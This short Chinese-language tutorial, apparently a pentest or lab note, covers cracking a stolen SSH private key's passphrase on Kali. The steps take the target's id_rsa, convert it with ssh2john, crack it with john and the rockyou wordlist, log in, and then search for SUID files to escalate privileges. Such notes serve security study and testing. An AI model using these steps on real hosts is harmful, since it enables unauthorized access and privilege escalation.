在kali下破解ssh私钥并远程登录

1、获取对方的id_rsa和authorized_keys（私钥）；

2、运行ssh -i id_rsa 用户名@ip，会提示输入口令

3、使用ssh2john，可将id_rsa秘钥信息转换为john可识别的信息，

chmod 600 id_rsa

ssh2john  id_rsa> isacrack

4、利用字典解密isacrack信息

zcat /usr/share/wordlists/rockyou.txt.gz|john --pipe --rules isacrack

可解密出秘钥中的口令，登录被测主机

5、查找具有root权限的文件

find / -perm -4000 2 >/dev/null